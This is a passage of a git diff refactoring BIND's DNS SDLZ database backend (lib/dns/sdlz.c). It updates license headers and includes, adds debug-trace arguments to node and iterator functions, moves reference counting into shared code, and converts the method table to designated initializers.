-	}
-}
-
-static void
-rdatasetiter_current(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset) {
-	sdb_rdatasetiter_t *sdbiterator = (sdb_rdatasetiter_t *)iterator;
-
-	list_tordataset(sdbiterator->current, iterator->db, iterator->node,
-			rdataset);
-}
diff --git a/lib/dns/sdlz.c b/lib/dns/sdlz.c
index 4eb0a1aeeb..6905e2185e 100644
--- a/lib/dns/sdlz.c
+++ b/lib/dns/sdlz.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -50,14 +52,15 @@
 #include <stdbool.h>
 #include <string.h>
 
+#include <isc/ascii.h>
 #include <isc/buffer.h>
 #include <isc/lex.h>
 #include <isc/log.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -74,12 +77,9 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/sdlz.h>
 #include <dns/types.h>
 
-#include "rdatalist_p.h"
-
 /*
  * Private Types
  */
@@ -99,9 +99,6 @@ struct dns_sdlz_db {
 	void *dbdata;
 	dns_sdlzimplementation_t *dlzimp;
 
-	/* Atomic */
-	isc_refcount_t references;
-
 	/* Locked */
 	dns_dbversion_t *future_version;
 	int dummy_version;
@@ -192,23 +189,24 @@ list_tordataset(dns_rdatalist_t *rdatalist, dns_db_t *db, dns_dbnode_t *node,
 		dns_rdataset_t *rdataset);
 
 static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp);
+detachnode(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG);
 
 static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp);
+dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG);
 static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator);
+dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator);
+dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name);
+dbiterator_seek(dns_dbiterator_t *iterator,
+		const dns_name_t *name DNS__DB_FLARG);
 static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator);
+dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator);
+dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG);
 static isc_result_t
 dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name);
+		   dns_name_t *name DNS__DB_FLARG);
 static isc_result_t
 dbiterator_pause(dns_dbiterator_t *iterator);
 static isc_result_t
@@ -236,20 +234,7 @@ sdlz_log(int level, const char *fmt, ...) {
 	va_end(ap);
 }
 
-/*% Converts the input string to lowercase, in place. */
-static void
-dns_sdlz_tolower(char *str) {
-	unsigned int len = strlen(str);
-	unsigned int i;
-
-	for (i = 0; i < len; i++) {
-		if (str[i] >= 'A' && str[i] <= 'Z') {
-			str[i] += 32;
-		}
-	}
-}
-
-static inline unsigned int
+static unsigned int
 initial_size(const char *data) {
 	unsigned int len = (strlen(data) / 64) + 1;
 	return (len * 64 + 64);
@@ -261,17 +246,18 @@ initial_size(const char *data) {
  */
 
 static void
-rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
+rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
 	sdlz_rdatasetiter_t *sdlziterator = (sdlz_rdatasetiter_t *)(*iteratorp);
 
-	detachnode(sdlziterator->common.db, &sdlziterator->common.node);
+	detachnode(sdlziterator->common.db,
+		   &sdlziterator->common.node DNS__DB_FLARG_PASS);
 	isc_mem_put(sdlziterator->common.db->mctx, sdlziterator,
 		    sizeof(sdlz_rdatasetiter_t));
 	*iteratorp = NULL;
 }
 
 static isc_result_t
-rdatasetiter_first(dns_rdatasetiter_t *iterator) {
+rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
 	sdlz_rdatasetiter_t *sdlziterator = (sdlz_rdatasetiter_t *)iterator;
 	dns_sdlznode_t *sdlznode = (dns_sdlznode_t *)iterator->node;
 
@@ -283,7 +269,7 @@ rdatasetiter_first(dns_rdatasetiter_t *iterator) {
 }
 
 static isc_result_t
-rdatasetiter_next(dns_rdatasetiter_t *iterator) {
+rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
 	sdlz_rdatasetiter_t *sdlziterator = (sdlz_rdatasetiter_t *)iterator;
 
 	sdlziterator->current = ISC_LIST_NEXT(sdlziterator->current, link);
@@ -295,7 +281,8 @@ rdatasetiter_next(dns_rdatasetiter_t *iterator) {
 }
 
 static void
-rdatasetiter_current(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset) {
+rdatasetiter_current(dns_rdatasetiter_t *iterator,
+		     dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	sdlz_rdatasetiter_t *sdlziterator = (sdlz_rdatasetiter_t *)iterator;
 
 	list_tordataset(sdlziterator->current, iterator->db, iterator->node,
@@ -313,64 +300,18 @@ static dns_rdatasetitermethods_t rdatasetiter_methods = {
  */
 
 static void
-attach(dns_db_t *source, dns_db_t **targetp) {
-	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)source;
-
-	REQUIRE(VALID_SDLZDB(sdlz));
-
-	isc_refcount_increment(&sdlz->references);
-
-	*targetp = source;
-}
+destroy(dns_db_t *db) {
+	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 
-static void
-destroy(dns_sdlz_db_t *sdlz) {
 	sdlz->common.magic = 0;
 	sdlz->common.impmagic = 0;
 
 	dns_name_free(&sdlz->common.origin, sdlz->common.mctx);
 
-	isc_refcount_destroy(&sdlz->references);
+	isc_refcount_destroy(&sdlz->common.references);
 	isc_mem_putanddetach(&sdlz->common.mctx, sdlz, sizeof(dns_sdlz_db_t));
 }
 
-static void
-detach(dns_db_t **dbp) {
-	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)(*dbp);
-
-	REQUIRE(VALID_SDLZDB(sdlz));
-
-	*dbp = NULL;
-
-	if (isc_refcount_decrement(&sdlz->references) == 1) {
-		destroy(sdlz);
-	}
-}
-
-static isc_result_t
-beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-dump(dns_db_t *db, dns_dbversion_t *version, const char *filename,
-     dns_masterformat_t masterformat) {
-	UNUSED(db);
-	UNUSED(version);
-	UNUSED(filename);
-	UNUSED(masterformat);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
 static void
 currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
@@ -420,7 +361,8 @@ attachversion(dns_db_t *db, dns_dbversion_t *source,
 }
 
 static void
-closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
+closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+	     bool commit DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	char origin[DNS_NAME_MAXTEXT + 1];
 
@@ -455,7 +397,7 @@ createnode(dns_sdlz_db_t *sdlz, dns_sdlznode_t **nodep) {
 	node = isc_mem_get(sdlz->common.mctx, sizeof(dns_sdlznode_t));
 
 	node->sdlz = NULL;
-	attach((dns_db_t *)sdlz, (dns_db_t **)&node->sdlz);
+	dns_db_attach((dns_db_t *)sdlz, (dns_db_t **)&node->sdlz);
 	ISC_LIST_INIT(node->lists);
 	ISC_LIST_INIT(node->buffers);
 	ISC_LINK_INIT(node, link);
@@ -508,7 +450,7 @@ destroynode(dns_sdlznode_t *node) {
 	node->magic = 0;
 	isc_mem_put(mctx, node, sizeof(dns_sdlznode_t));
 	db = &sdlz->common;
-	detach(&db);
+	dns_db_detach(&db);
 }
 
 static isc_result_t
@@ -541,12 +483,12 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 			 dns_name_countlabels(&sdlz->common.origin);
 		dns_name_init(&relname, NULL);
 		dns_name_getlabelsequence(name, 0, labels, &relname);
-		result = dns_name_totext(&relname, true, &b);
+		result = dns_name_totext(&relname, DNS_NAME_OMITFINALDOT, &b);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
 	} else {
-		result = dns_name_totext(name, true, &b);
+		result = dns_name_totext(name, DNS_NAME_OMITFINALDOT, &b);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
@@ -554,7 +496,8 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 	isc_buffer_putuint8(&b, 0);
 
 	isc_buffer_init(&b2, zonestr, sizeof(zonestr));
-	result = dns_name_totext(&sdlz->common.origin, true, &b2);
+	result = dns_name_totext(&sdlz->common.origin, DNS_NAME_OMITFINALDOT,
+				 &b2);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -568,8 +511,8 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 	isorigin = dns_name_equal(name, &sdlz->common.origin);
 
 	/* make sure strings are always lowercase */
-	dns_sdlz_tolower(zonestr);
-	dns_sdlz_tolower(namestr);
+	isc_ascii_strtolower(zonestr);
+	isc_ascii_strtolower(namestr);
 
 	MAYBE_LOCK(sdlz->dlzimp);
 
@@ -587,7 +530,8 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 	 * for wildcards at each level.
 	 */
 	if (result == ISC_R_NOTFOUND && !create &&
-	    (options & DNS_DBFIND_NOWILD) == 0) {
+	    (options & DNS_DBFIND_NOWILD) == 0)
+	{
 		unsigned int i, dlabels, nlabels;
 
 		nlabels = dns_name_countlabels(name);
@@ -615,7 +559,8 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 			}
 
 			isc_buffer_init(&b, wildstr, sizeof(wildstr));
-			result = dns_name_totext(wild, true, &b);
+			result = dns_name_totext(wild, DNS_NAME_OMITFINALDOT,
+						 &b);
 			if (result != ISC_R_SUCCESS) {
 				MAYBE_UNLOCK(sdlz->dlzimp);
 				return (result);
@@ -669,52 +614,43 @@ getnodedata(dns_db_t *db, const dns_name_t *name, bool create,
 static isc_result_t
 findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
 	    dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	    dns_dbnode_t **nodep) {
+	    dns_dbnode_t **nodep DNS__DB_FLARG) {
 	return (getnodedata(db, name, create, 0, methods, clientinfo, nodep));
 }
 
 static isc_result_t
 findnode(dns_db_t *db, const dns_name_t *name, bool create,
-	 dns_dbnode_t **nodep) {
+	 dns_dbnode_t **nodep DNS__DB_FLARG) {
 	return (getnodedata(db, name, create, 0, NULL, NULL, nodep));
 }
 
-static isc_result_t
-findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-	    isc_stdtime_t now, dns_dbnode_t **nodep, dns_name_t *foundname,
-	    dns_name_t *dcname, dns_rdataset_t *rdataset,
-	    dns_rdataset_t *sigrdataset) {
-	UNUSED(db);
-	UNUSED(name);
-	UNUSED(options);
-	UNUSED(now);
-	UNUSED(nodep);
-	UNUSED(foundname);
-	UNUSED(dcname);
-	UNUSED(rdataset);
-	UNUSED(sigrdataset);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
 static void
-attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
+attachnode(dns_db_t *db, dns_dbnode_t *source,
+	   dns_dbnode_t **targetp DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	dns_sdlznode_t *node = (dns_sdlznode_t *)source;
+	uint_fast32_t refs;
 
 	REQUIRE(VALID_SDLZDB(sdlz));
 
 	UNUSED(sdlz);
 
-	isc_refcount_increment(&node->references);
+	refs = isc_refcount_increment(&node->references);
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "incr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs + 1);
+#else
+	UNUSED(refs);
+#endif
 
 	*targetp = source;
 }
 
 static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
+detachnode(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	dns_sdlznode_t *node;
+	uint_fast32_t refs;
 
 	REQUIRE(VALID_SDLZDB(sdlz));
 	REQUIRE(targetp != NULL && *targetp != NULL);
@@ -724,28 +660,19 @@ detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
 	node = (dns_sdlznode_t *)(*targetp);
 	*targetp = NULL;
 
-	if (isc_refcount_decrement(&node->references) == 1) {
+	refs = isc_refcount_decrement(&node->references);
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "decr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs - 1);
+#else
+	UNUSED(refs);
+#endif
+
+	if (refs == 1) {
 		destroynode(node);
 	}
 }
 
-static isc_result_t
-expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(now);
-	INSIST(0);
-	ISC_UNREACHABLE();
-}
-
-static void
-printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(out);
-	return;
-}
-
 static isc_result_t
 createiterator(dns_db_t *db, unsigned int options,
 	       dns_dbiterator_t **iteratorp) {
@@ -762,12 +689,14 @@ createiterator(dns_db_t *db, unsigned int options,
 	}
 
 	if ((options & DNS_DB_NSEC3ONLY) != 0 ||
-	    (options & DNS_DB_NONSEC3) != 0) {
+	    (options & DNS_DB_NONSEC3) != 0)
+	{
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
 	isc_buffer_init(&b, zonestr, sizeof(zonestr));
-	result = dns_name_totext(&sdlz->common.origin, true, &b);
+	result = dns_name_totext(&sdlz->common.origin, DNS_NAME_OMITFINALDOT,
+				 &b);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -786,7 +715,7 @@ createiterator(dns_db_t *db, unsigned int options,
 	sdlziter->origin = NULL;
 
 	/* make sure strings are always lowercase */
-	dns_sdlz_tolower(zonestr);
+	isc_ascii_strtolower(zonestr);
 
 	MAYBE_LOCK(sdlz->dlzimp);
 	result = sdlz->dlzimp->methods->allnodes(
@@ -794,7 +723,7 @@ createiterator(dns_db_t *db, unsigned int options,
 	MAYBE_UNLOCK(sdlz->dlzimp);
 	if (result != ISC_R_SUCCESS) {
 		dns_dbiterator_t *iter = &sdlziter->common;
-		dbiterator_destroy(&iter);
+		dbiterator_destroy(&iter DNS__DB_FILELINE);
 		return (result);
 	}
 
@@ -811,7 +740,8 @@ createiterator(dns_db_t *db, unsigned int options,
 static isc_result_t
 findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
-	     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+	     dns_rdataset_t *rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	REQUIRE(VALID_SDLZNODE(node));
 	dns_rdatalist_t *list;
 	dns_sdlznode_t *sdlznode = (dns_sdlznode_t *)node;
@@ -847,7 +777,7 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 	dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
 	dns_dbnode_t **nodep, dns_name_t *foundname,
 	dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+	dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	dns_dbnode_t *node = NULL;
 	dns_fixedname_t fname;
@@ -909,9 +839,9 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		 * the qname.
 		 */
 		if (i < nlabels) {
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_dname, 0, now,
-					      rdataset, sigrdataset);
+			result = findrdataset(
+				db, node, version, dns_rdatatype_dname, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
 			if (result == ISC_R_SUCCESS) {
 				result = DNS_R_DNAME;
 				break;
@@ -925,16 +855,18 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		if (i != olabels && (options & DNS_DBFIND_GLUEOK) == 0 &&
 		    (options & DNS_DBFIND_NOZONECUT) == 0)
 		{
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_ns, 0, now,
-					      rdataset, sigrdataset);
+			result = findrdataset(
+				db, node, version, dns_rdatatype_ns, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
 
 			if (result == ISC_R_SUCCESS && i == nlabels &&
-			    type == dns_rdatatype_any) {
+			    type == dns_rdatatype_any)
+			{
 				result = DNS_R_ZONECUT;
 				dns_rdataset_disassociate(rdataset);
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					dns_rdataset_disassociate(sigrdataset);
 				}
 				break;
@@ -949,7 +881,7 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		 * and try again.
 		 */
 		if (i < nlabels) {
-			detachnode(db, &node);
+			detachnode(db, &node DNS__DB_FLARG_PASS);
 			node = NULL;
 			continue;
 		}
@@ -966,7 +898,7 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		 * Look for the qtype.
 		 */
 		result = findrdataset(db, node, version, type, 0, now, rdataset,
-				      sigrdataset);
+				      sigrdataset DNS__DB_FLARG_PASS);
 		if (result == ISC_R_SUCCESS) {
 			break;
 		}
@@ -975,9 +907,9 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 		 * Look for a CNAME
 		 */
 		if (type != dns_rdatatype_cname) {
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_cname, 0, now,
-					      rdataset, sigrdataset);
+			result = findrdataset(
+				db, node, version, dns_rdatatype_cname, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
 			if (result == ISC_R_SUCCESS) {
 				result = DNS_R_CNAME;
 				break;
@@ -999,7 +931,7 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 	if (nodep != NULL) {
 		*nodep = node;
 	} else if (node != NULL) {
-		detachnode(db, &node);
+		detachnode(db, &node DNS__DB_FLARG_PASS);
 	}
 
 	return (result);
@@ -1009,14 +941,15 @@ static isc_result_t
 find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
      dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
      dns_dbnode_t **nodep, dns_name_t *foundname, dns_rdataset_t *rdataset,
-     dns_rdataset_t *sigrdataset) {
+     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	return (findext(db, name, version, type, options, now, nodep, foundname,
-			NULL, NULL, rdataset, sigrdataset));
+			NULL, NULL, rdataset, sigrdataset DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
 allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
+	     unsigned int options, isc_stdtime_t now,
+	     dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	sdlz_rdatasetiter_t *iterator;
 
@@ -1034,8 +967,9 @@ allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	iterator->common.methods = &rdatasetiter_methods;
 	iterator->common.db = db;
 	iterator->common.node = NULL;
-	attachnode(db, node, &iterator->common.node);
+	attachnode(db, node, &iterator->common.node DNS__DB_FLARG_PASS);
 	iterator->common.version = version;
+	iterator->common.options = options;
 	iterator->common.now = now;
 
 	*iteratorp = (dns_rdatasetiter_t *)iterator;
@@ -1113,7 +1047,7 @@ modrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 static isc_result_t
 addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	    isc_stdtime_t now, dns_rdataset_t *rdataset, unsigned int options,
-	    dns_rdataset_t *addedrdataset) {
+	    dns_rdataset_t *addedrdataset DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	isc_result_t result;
 
@@ -1133,7 +1067,7 @@ addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 static isc_result_t
 subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 		 dns_rdataset_t *rdataset, unsigned int options,
-		 dns_rdataset_t *newrdataset) {
+		 dns_rdataset_t *newrdataset DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	isc_result_t result;
 
@@ -1151,7 +1085,7 @@ subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 
 static isc_result_t
 deleterdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	       dns_rdatatype_t type, dns_rdatatype_t covers) {
+	       dns_rdatatype_t type, dns_rdatatype_t covers DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	char name[DNS_NAME_MAXTEXT + 1];
 	char b_type[DNS_RDATATYPE_FORMATSIZE];
@@ -1186,28 +1120,17 @@ issecure(dns_db_t *db) {
 }
 
 static unsigned int
-nodecount(dns_db_t *db) {
+nodecount(dns_db_t *db, dns_dbtree_t tree) {
 	UNUSED(db);
+	UNUSED(tree);
 
 	return (0);
 }
 
-static bool
-ispersistent(dns_db_t *db) {
-	UNUSED(db);
-	return (true);
-}
-
-static void
-overmem(dns_db_t *db, bool over) {
-	UNUSED(db);
-	UNUSED(over);
-}
-
 static void
-settask(dns_db_t *db, isc_task_t *task) {
+setloop(dns_db_t *db, isc_loop_t *loop) {
 	UNUSED(db);
-	UNUSED(task);
+	UNUSED(loop);
 }
 
 /*
@@ -1215,7 +1138,7 @@ settask(dns_db_t *db, isc_task_t *task) {
  * dns_rdatatype_dnskey record for a zone
  */
 static isc_result_t
-getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
+getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)db;
 	isc_result_t result;
 
@@ -1234,57 +1157,27 @@ getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
 }
 
 static dns_dbmethods_t sdlzdb_methods = {
-	attach,
-	detach,
-	beginload,
-	endload,
-	NULL, /* serialize */
-	dump,
-	currentversion,
-	newversion,
-	attachversion,
-	closeversion,
-	findnode,
-	find,
-	findzonecut,
-	attachnode,
-	detachnode,
-	expirenode,
-	printnode,
-	createiterator,
-	findrdataset,
-	allrdatasets,
-	addrdataset,
-	subtractrdataset,
-	deleterdataset,
-	issecure,
-	nodecount,
-	ispersistent,
-	overmem,
-	settask,
-	getoriginnode,
-	NULL, /* transfernode */
-	NULL, /* getnsec3parameters */
-	NULL, /* findnsec3node */
-	NULL, /* setsigningtime */
-	NULL, /* getsigningtime */
-	NULL, /* resigned */
-	NULL, /* isdnssec */
-	NULL, /* getrrsetstats */
-	NULL, /* rpz_attach */
-	NULL, /* rpz_ready */
-	findnodeext,
-	findext,
-	NULL, /* setcachestats */
-	NULL, /* hashsize */
-	NULL, /* nodefullname */
-	NULL, /* getsize */
-	NULL, /* setservestalettl */
-	NULL, /* getservestalettl */
-	NULL, /* setservestalerefresh */
-	NULL, /* getservestalerefresh */
-	NULL, /* setgluecachestats */
-	NULL  /* adjusthashsize */
+	.destroy = destroy,
+	.currentversion = currentversion,
+	.newversion = newversion,
+	.attachversion = attachversion,
+	.closeversion = closeversion,
+	.findnode = findnode,
+	.find = find,
+	.attachnode = attachnode,
+	.detachnode = detachnode,
+	.createiterator = createiterator,
+	.findrdataset = findrdataset,
+	.allrdatasets = allrdatasets,
+	.addrdataset = addrdataset,
+	.subtractrdataset = subtractrdataset,
+	.deleterdataset = deleterdataset,
+	.issecure = issecure,
+	.nodecount = nodecount,
+	.setloop = setloop,
+	.getoriginnode = getoriginnode,
+	.findnodeext = findnodeext,
+	.findext = findext,
 };
 
 /*
@@ -1293,7 +1186,7 @@ static dns_dbmethods_t sdlzdb_methods = {
  */
 
 static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp) {
+dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)(*iteratorp);
 	dns_sdlz_db_t *sdlz = (dns_sdlz_db_t *)sdlziter->common.db;
 
@@ -1312,7 +1205,7 @@ dbiterator_destroy(dns_dbiterator_t **iteratorp) {
 }
 
 static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator) {
+dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
 	sdlziter->current = ISC_LIST_HEAD(sdlziter->nodelist);
@@ -1324,7 +1217,7 @@ dbiterator_first(dns_dbiterator_t *iterator) {
 }
 
 static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator) {
+dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
 	sdlziter->current = ISC_LIST_TAIL(sdlziter->nodelist);
@@ -1336,7 +1229,8 @@ dbiterator_last(dns_dbiterator_t *iterator) {
 }
 
 static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name) {
+dbiterator_seek(dns_dbiterator_t *iterator,
+		const dns_name_t *name DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
 	sdlziter->current = ISC_LIST_HEAD(sdlziter->nodelist);
@@ -1350,7 +1244,7 @@ dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name) {
 }
 
 static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator) {
+dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
 	sdlziter->current = ISC_LIST_PREV(sdlziter->current, link);
@@ -1362,7 +1256,7 @@ dbiterator_prev(dns_dbiterator_t *iterator) {
 }
 
 static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator) {
+dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
 	sdlziter->current = ISC_LIST_NEXT(sdlziter->current, link);
@@ -1375,10 +1269,10 @@ dbiterator_next(dns_dbiterator_t *iterator) {
 
 static isc_result_t
 dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name) {
+		   dns_name_t *name DNS__DB_FLARG) {
 	sdlz_dbiterator_t *sdlziter = (sdlz_dbiterator_t *)iterator;
 
-	attachnode(iterator->db, sdlziter->current, nodep);
+	attachnode(iterator->db, sdlziter->current, nodep DNS__DB_FLARG_PASS);
 	if (name != NULL) {
 		dns_name_copy(sdlziter->current->name, name);
 		return (ISC_R_SUCCESS);
@@ -1405,62 +1299,47 @@ dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name) {
  */
 
 static void
-disassociate(dns_rdataset_t *rdataset) {
-	dns_dbnode_t *node = rdataset->private5;
+disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	dns_dbnode_t *node = rdataset->rdlist.node;
 	dns_sdlznode_t *sdlznode = (dns_sdlznode_t *)node;
 	dns_db_t *db = (dns_db_t *)sdlznode->sdlz;
 
-	detachnode(db, &node);
-	isc__rdatalist_disassociate(rdataset);
+	detachnode(db, &node DNS__DB_FLARG_PASS);
+	dns_rdatalist_disassociate(rdataset DNS__DB_FLARG_PASS);
 }
 
 static void
-rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
-	dns_dbnode_t *node = source->private5;
+rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
+	dns_dbnode_t *node = source->rdlist.node;
 	dns_sdlznode_t *sdlznode = (dns_sdlznode_t *)node;
 	dns_db_t *db = (dns_db_t *)sdlznode->sdlz;
-	dns_dbnode_t *tempdb = NULL;
 
-	isc__rdatalist_clone(source, target);
-	attachnode(db, node, &tempdb);
-	source->private5 = tempdb;
+	dns_rdatalist_clone(source, target DNS__DB_FLARG_PASS);
